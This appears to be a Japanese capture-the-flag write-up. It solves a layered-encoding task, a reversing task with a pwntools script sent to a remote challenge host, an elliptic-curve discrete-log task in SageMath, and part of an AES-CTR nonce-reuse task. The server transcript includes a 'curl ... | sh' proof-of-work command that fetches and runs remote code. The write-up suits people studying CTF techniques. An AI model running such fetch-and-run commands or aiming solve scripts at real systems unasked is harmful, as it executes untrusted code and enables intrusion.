NDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzOTIwMzMzMjIwMzUzNDIwMzQzODIwMzMzMjIwMzUzNDIwMzQzOQ=='
[+] 2: b'3534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203438203332203534203438203332203534203439203332203534203438203332203534203438203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439203332203534203438203332203534203439203332203534203438203332203534203439203332203534203439203332203534203439203332203534203438203332203534203438203332203534203438203332203534203438203332203534203438203332203534203439203332203534203439203332203534203439203332203534203439203332203534203439203332203534203438203332203534203439'
[+] 3: b'54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 48 32 54 48 32 54 49 32 54 48 32 54 48 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49 32 54 48 32 54 49 32 54 48 32 54 49 32 54 49 32 54 49 32 54 48 32 54 48 32 54 48 32 54 48 32 54 48 32 54 49 32 54 49 32 54 49 32 54 49 32 54 49 32 54 48 32 54 49'
[+] 4: b'60 61 61 60 60 61 61 60 60 61 61 60 61 61 60 60 60 61 61 60 60 60 60 61 60 61 61 60 60 61 61 61 60 61 61 61 61 60 61 61 60 61 61 61 60 61 61 61 60 60 61 61 60 60 60 60 60 61 61 61 60 61 61 61 60 61 60 61 61 61 61 61 60 61 61 61 60 61 60 60 60 61 61 60 61 60 60 60 60 60 61 61 60 61 60 60 60 61 61 61 60 61 60 60 60 61 60 61 61 61 61 61 60 61 61 61 60 61 61 61 60 60 61 61 60 61 60 60 60 61 61 61 60 60 61 61 60 61 60 61 61 61 61 61 60 60 61 61 60 61 60 60 60 61 61 60 61 61 60 60 60 61 61 60 61 61 60 60 60 61 60 61 61 61 61 61 60 61 61 61 60 61 61 61 60 61 61 61 60 60 61 60 60 60 61 61 60 61 60 60 60 61 61 61 60 60 60 60 60 61 61 61 60 60 60 60 60 60 61 61 60 60 61 61 60 61 61 60 60 61 60 60 60 61 60 61 61 61 61 61 60 61 61 61 60 61 60 61 60 61 61 61 60 60 60 60 60 61 61 61 61 61 60 61'
[+] 5: b'<==<<==<<==<==<<<==<<<<=<==<<===<====<==<===<===<<==<<<<<===<===<=<=====<===<=<<<==<=<<<<<==<=<<<===<=<<<=<=====<===<===<<==<=<<<===<<==<=<=====<<==<=<<<==<==<<<==<==<<<=<=====<===<===<===<<=<<<==<=<<<===<<<<<===<<<<<<==<<==<==<<=<<<=<=====<===<=<=<===<<<<<=====<='
[*] flag: b'flag{w0w_th4t_w4s_4ll_wr4pp3d_up}'
flag{w0w_th4t_w4s_4ll_wr4pp3d_up}

bread-making (rev)

Ghidraでデコンパイルする。

undefined8 FUN_00102180(void)

{
  undefined *puVar1;
  long lVar2;
  int iVar3;
  char *pcVar4;
  size_t sVar5;
  long lVar6;
  long in_FS_OFFSET;
  char acStack200 [136];
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  signal(0xe,FUN_001024d0);
  DAT_00106440 = 0;
  do {
    alarm(*(uint *)(&PTR_DAT_00106020)[DAT_00106440]);
    puts(*(char **)((&PTR_DAT_00106020)[DAT_00106440] + 8));
    do {
      pcVar4 = fgets(acStack200,0x80,stdin);
      if (pcVar4 == (char *)0x0) {
LAB_00102330:
        FUN_001024a0();
        goto LAB_00102337;
      }
      sVar5 = strcspn(acStack200,"\n");
      acStack200[sVar5] = '\0';
      puVar1 = (&PTR_DAT_00106020)[DAT_00106440];
      lVar2 = *(long *)(puVar1 + 0x18);
      if (lVar2 == 0) goto LAB_00102330;
      lVar6 = 0;
      while( true ) {
        iVar3 = strcmp(acStack200,*(char **)(puVar1 + lVar6 * 0x10 + 0x20));
        if (iVar3 == 0) break;
        lVar6 = lVar6 + 1;
        if (lVar2 == lVar6) goto LAB_00102330;
      }
      iVar3 = (**(code **)(puVar1 + lVar6 * 0x10 + 0x28))();
      if (iVar3 == -1) goto LAB_00102330;
    } while (iVar3 != 0);
    DAT_00106440 = DAT_00106440 + 1;
    puts("");
  } while (DAT_00106440 < 0xb);
  alarm(0);
  puts("it\'s the next morning");
  if (_DAT_0010641c == 0) {
    puts("mom finds flour in the sink and accuses you of making bread");
  }
  else {
    if (_DAT_00106418 == 0) {
LAB_00102337:
      puts("mom finds flour on the counter and accuses you of making bread");
    }
    else {
      if (_DAT_00106414 == 0) {
        puts("mom finds burnt bread on the counter and accuses you of making bread");
      }
      else {
        if (_DAT_00106410 == 0) {
          puts("mom finds the window opened and accuses you of making bread");
        }
        else {
          if (_DAT_0010640c == 0) {
            puts("mom finds the fire alarm in the laundry room and accuses you of making bread");
          }
          else {
            FUN_001025c0();
          }
        }
      }
    }
  }
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

void FUN_001025c0(void)

{
  FILE *__stream;
  char *pcVar1;
  long in_FS_OFFSET;
  char acStack152 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("mom doesn\'t suspect a thing, but asks about some white dots on the bathroom floor");
  __stream = fopen("flag.txt","r");
  if (__stream != (FILE *)0x0) {
    pcVar1 = fgets(acStack152,0x80,__stream);
    if (pcVar1 != (char *)0x0) {
      puts(acStack152);
      goto LAB_00102634;
    }
  }
  puts("couldn\'t open/read flag file, contact an admin if running on server");
LAB_00102634:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

                             s_add_ingredients_to_the_bowl_00103b3c          XREF[2]:     FUN_00102180:00102220(*), 
                                                                                          00106348(*)  
        00103b3c 61 64 64        ds         "add ingredients to the bowl"
                 20 69 6e 
                 67 72 65 
                             s_add_flour_00103b58                            XREF[3]:     FUN_00102180:00102297(*), 
                                                                                          FUN_00102180:00102332(*), 
                                                                                          00106360(*)  
        00103b58 61 64 64        ds         "add flour"
                 20 66 6c 
                 6f 75 72 00
                             s_add_yeast_00103b62                            XREF[2]:     FUN_00102180:00102297(*), 
                                                                                          00106370(*)  
        00103b62 61 64 64        ds         "add yeast"
                 20 79 65 
                 61 73 74 00
                             s_add_salt_00103b6c                             XREF[1]:     00106380(*)  
        00103b6c 61 64 64        ds         "add salt"
                 20 73 61 
                 6c 74 00
                             s_add_water_00103b75                            XREF[1]:     00106390(*)  
        00103b75 61 64 64        ds         "add water"
                 20 77 61 
                 74 65 72 00
        00103b7f 00              ??         00h

このあたりの文字列を確認しながら、いろいろと試してみて、正しい回答を導き出す。

from pwn import *

if len(sys.argv) == 1:
    p = remote('mc.ax', 31796)
else:
    p = process('./bread')

## add ingredients to the bowl ##
todoes = ['add flour', 'add yeast', 'add salt', 'add water']
data = p.recvline().rstrip()
print data
for i in range(4):
    print todoes[i]
    p.sendline(todoes[i])
    data = p.recvline().rstrip()
    print data

data = p.recvline().rstrip()
print data

## the ingredients are added and stirred into a lumpy dough ##
todoes = 'hide the bowl inside a box'
data = p.recvline().rstrip()
print data
print todoes
p.sendline(todoes)
data = p.recvline().rstrip()
print data

data = p.recvline().rstrip()
print data

## the bread needs to rise ##
todoes = 'wait 3 hours'
data = p.recvline().rstrip()
print data
print todoes
p.sendline(todoes)
data = p.recvline().rstrip()
print data

data = p.recvline().rstrip()
print data

## it is time to finish the dough ##
todoes = 'work in the basement'
data = p.recvline().rstrip()
print data
print todoes
p.sendline(todoes)
data = p.recvline().rstrip()
print data

data = p.recvline().rstrip()
print data

## the dough is done, and needs to be baked ##
todoes = 'preheat the toaster oven'
data = p.recvline().rstrip()
print data
print todoes
p.sendline(todoes)
data = p.recvline().rstrip()
print data

data = p.recvline().rstrip()
print data

## the bread is in the oven, and bakes for 45 minutes ##
todoes = 'set a timer on your phone'
data = p.recvline().rstrip()
print data
print todoes
p.sendline(todoes)
data = p.recvline().rstrip()
print data

data = p.recvline().rstrip()
print data

## 45 minutes is an awfully long time ##
todoes = 'watch the bread bake'
data = p.recvline().rstrip()
print data
print todoes
p.sendline(todoes)
data = p.recvline().rstrip()
print data

data = p.recvline().rstrip()
print data

## there's no time to waste ##
todoes = ['pull the tray out with a towel']
data = p.recvline().rstrip()
print data
for i in range(1):
    print todoes[i]
    p.sendline(todoes[i])
    data = p.recvline().rstrip()
    print data

data = p.recvline().rstrip()
print data

## there's smoke in the air ##
todoes = ['unplug the oven', 'unplug the fire alarm', 'open the window']
data = p.recvline().rstrip()
print data
for i in range(3):
    print todoes[i]
    p.sendline(todoes[i])
    data = p.recvline().rstrip()
    print data

data = p.recvline().rstrip()
print data

## the kitchen is a mess ##
todoes = ['wash the sink', 'clean the counters', 'flush the bread down the toilet', 'get ready to sleep']
data = p.recvline().rstrip()
print data
for i in range(4):
    print todoes[i]
    p.sendline(todoes[i])
    data = p.recvline().rstrip()
    print data

data = p.recvline().rstrip()
print data

## time to go to sleep ##
todoes = ['close the window', 'replace the fire alarm', 'brush teeth and go to bed']
data = p.recvline().rstrip()
print data
for i in range(3):
    print todoes[i]
    p.sendline(todoes[i])
    data = p.recvline().rstrip()
    print data

data = p.recvline().rstrip()
print data

for _ in range(3):
    data = p.recvline().rstrip()
    print data

実行結果は以下の通り。

[+] Opening connection to mc.ax on port 31796: Done
add ingredients to the bowl
add flour
flour has been added
add yeast
yeast has been added
add salt
salt has been added
add water
water has been added

the ingredients are added and stirred into a lumpy dough
hide the bowl inside a box
the box is nice and warm

the bread needs to rise
wait 3 hours
the dough has risen

it is time to finish the dough
work in the basement
you bring a bottle of oil and a tray

the dough is done, and needs to be baked
preheat the toaster oven
the oven glows a soft red-orange

the bread is in the oven, and bakes for 45 minutes
set a timer on your phone
the timer ticks down

45 minutes is an awfully long time
watch the bread bake
the bread has risen, touching the top of the oven and catching fire

there's no time to waste
pull the tray out with a towel
the flaming loaf sizzles in the sink

there's smoke in the air
unplug the oven
the oven shuts off
unplug the fire alarm
you put the fire alarm in another room
open the window
cold air rushes in

the kitchen is a mess
wash the sink
the sink is cleaned
clean the counters
the counters are cleaned
flush the bread down the toilet
the half-baked bread is disposed of
get ready to sleep
everything appears to be okay

time to go to sleep
close the window
the window is closed
replace the fire alarm
the fire alarm is replaced
brush teeth and go to bed
you sleep very well

it's the next morning
mom doesn't suspect a thing, but asks about some white dots on the bathroom floor
flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}
[*] Closed connection to mc.ax port 31796
flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}

blecc (crypto)

全体的に比較的数値が小さいので、orderを素因数分解して離散対数問題を解く。

#!/usr/bin/sage
from Crypto.Util.number import *

p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)

F = FiniteField(p)
E = EllipticCurve(F, [a, b])
G = E.point(G)
Q = E.point(Q)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))]
dlogs = []
for fac in primes:
    t = int(G.order()) / int(fac)
    dlog = discrete_log(t*Q, t*G, operation='+')
    dlogs += [dlog]

d = crt(dlogs, primes)
print '[+] d =', d
assert d * G == Q

flag = long_to_bytes(d)
flag = 'flag{%s}' % flag
print '[*]flag =', flag

実行結果は以下の通り。

[+] d = 7868191182322623331
[*]flag = flag{m1n1_3cc}
flag{m1n1_3cc}

yahtzee (crypto)

サーバの処理の概要は以下の通り。

・true_rng = TrueRNG(2)
 ・rolls = 2
・quitするまで以下繰り返し
 ・message = random_message().encode()
  ・quotesの25行のうちランダムの行をスペース区切りの配列にして、どこかの要素にフラグを挿入する。
 ・encrypted = encrypt(message, key, true_rng)
  ・nonce = true_rng.next()
   ・TrueRNG.yahtzee(2)
    ・dice = 2個の1~6のランダム値の配列
    ・diceの合計を返す。
  ・AES-CTR暗号化
   →表示

nonceは2~12の11通り。とりあえず出力を見てみる。

$ nc mc.ax 31076
proof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.z34uX6azbkYSA7Lxu93WPw==
solution: s.P908u4Z4PUcNfpELBVV51t3d2C19aIBqkSTEZ7nzpOGkUHOo2IgPxBa5YwiX/0wzOd5dm3/iACvJEpuOGdm5Fis7YHtDXZAOamUUxSzicaQAQ/owWvI60YAYv7q434ULEfrv/hhAaVZgfTeZtfIj75f6A2ScwsbniMaN6dO2RxaOSbdWR6g19uJEqQWx7lPNCFqL/f4cAi22xTSFa3bfEA==

============================================================================
=            Welcome to the yahtzee message encryption service.            =
=  We use top-of-the-line TRUE random number generators... dice in a cup!  =
============================================================================
Would you like some samples?
y
Ciphertext: 2c19383b50c4b6f73821318124a186a352d713f0432dccd6305367892a1d2495c61edbe1015ab4fee8f7bc34ab59b3abad8c59c5a3a7ae16a43f7c2b8d7acf5a3eb804936d507aed55142cb5259dab8f83124641f32c4dbca21daecc20a0e94ec9ce9980073ad53e3c
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: b893de780007c68f9a99e768b74826588f289a602506ce3e72357568a349b712f206ae5d8f60ce46e51c0ed4d37954c0a647391b28e43185e8312420910ff15a79b4a2f0d111b7babc56d46d01a2c9d70bd7daf8c8c26c251c19d0325c86ec735a39b2819cc832
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 10f31e469309e0aa0c6768e852ebacb028d4fe71aa636e015d3117da86d6f5dde013d3327519b43a1ea81f81ea80800772c63e81314447e531d818de4ce8902f77047c0244b18fa2480794c0e6d74d3297c9b4e19c2e2160bfd114a24c7e657abac2e96d56a5e242135e52ff18b2632b59ad02e9
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 4fd2dfe89dc578470c8bed4059342f068405ce54719e6f1152ea1615ecb598b59bce9b13b231c6c51ec63337b3b12df13421ca0fcff1697944fbf91c39766c440f0b0c11ae9f9c01173d161c6649f5fa9fe10893274bd7a4f984adae98c0835133
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 8ec3ff77926c5e462412e17d4b342dba922f03e456b4a6abe96bdd6b824e343a1530224f69705abc80af990adda56b95a767d5f1a14392a59e105e0a3010f4795f596a2166e1a0242e35a071f2452a95da08dee32976d73751daea2d9d3466b1967bbbae522329c834
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 91135aa897cc7cf173e770d926f6cc00c95840aee34aa4ecf0dc2fd5fefbe641774ded4e5f69201dc68314579a03b380e86a2404f08c6ad03573c1f0cce76350b27d3e29a51ecbe37d9f6d63750947b90bc000c42270861980dcfc0ce782a8ce093a656a87b899584e1b1d6c
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 800d5afa8cdd67ec3df439cd2ca3ce0ac94e40aeea45b4e58fff6981ef84e548611fec0d207e0a23879e4044cd1ce4dd9c673741f1c97ede356384f689fd6450a97a7338ed1298ac6f9b69762e4a468239d45ed65d628b1d80c1
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 4297d8ecd3c26356428fbe430b342d53811d8f5c6c8e6a3725b84b00d4bac0b8b6aadc7da821ed9e15c072749ca61f8e773acc0d90f275240debb01a326621440f0b1006a282d5012e721e1f3208baeccdef008a645e94a3f6c1b6b2d5c1884674a7b36d3a6881
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 2c1e323b50caabfa382a3ec737bbc5b74cc613ea443082d77c5b73d26e1d1ee2964accd7065bbee2fbf08c7a8565f4e9f98a01d0faa8eb09b9697c36ca37c55d29f419c17c5479ff161f3daf6ac8be86c2025851fa017fa8ff0087d126a2bb12cfe3d7a93d68c93960c01af99c
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 8387826491977894a631ffc36ceceeeec47b3d1413b2eec57122b48bdfbc1e89505278536a206704ea830cf6b58c15b8ed8f6e7d162a535f1387ba3672383fd60d798218cf30d6bd6fcc2bc616243861b7adbb14ea6f86d582807e0a50505e92977e6f
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: a8218c72990c679179fdffdd06f220d75f1b95be324363c5d71e926a7ac77d8260934a4b7bbbada3f22031a71201770cbfde374d343ee8435be5f606a7d6a2ac7f098e84ccb900ac8b9631138636db48f0ff4bce8f4d5f3e569d2f985b76fefe8ec454dc82c3fe99f3937b309a68bb75
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 9b8ce0328d7e5f51240aef321e2161ba873113e26697b2fcf155ce78d754581e7e6f194f2e764bbc83acbf19b2943d8db667c5ecb95ad7e996465a0d2444fa674859603675e5bf777a25ac77f710389e830bd3aa2663927958c4b2
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: b893de780007c68f9a99e768b74826588f289a602506ce3e72357568a349b712fa06bf55dd7dce5ce50a46cb817855c3a04139192fa039dca972203b810efd4268f5a2f6c207ebba8104dc6545e388c900ccd6e4c5d16c241f4e93★
Would you like some more samples, or are you ready to 'quit'?
y
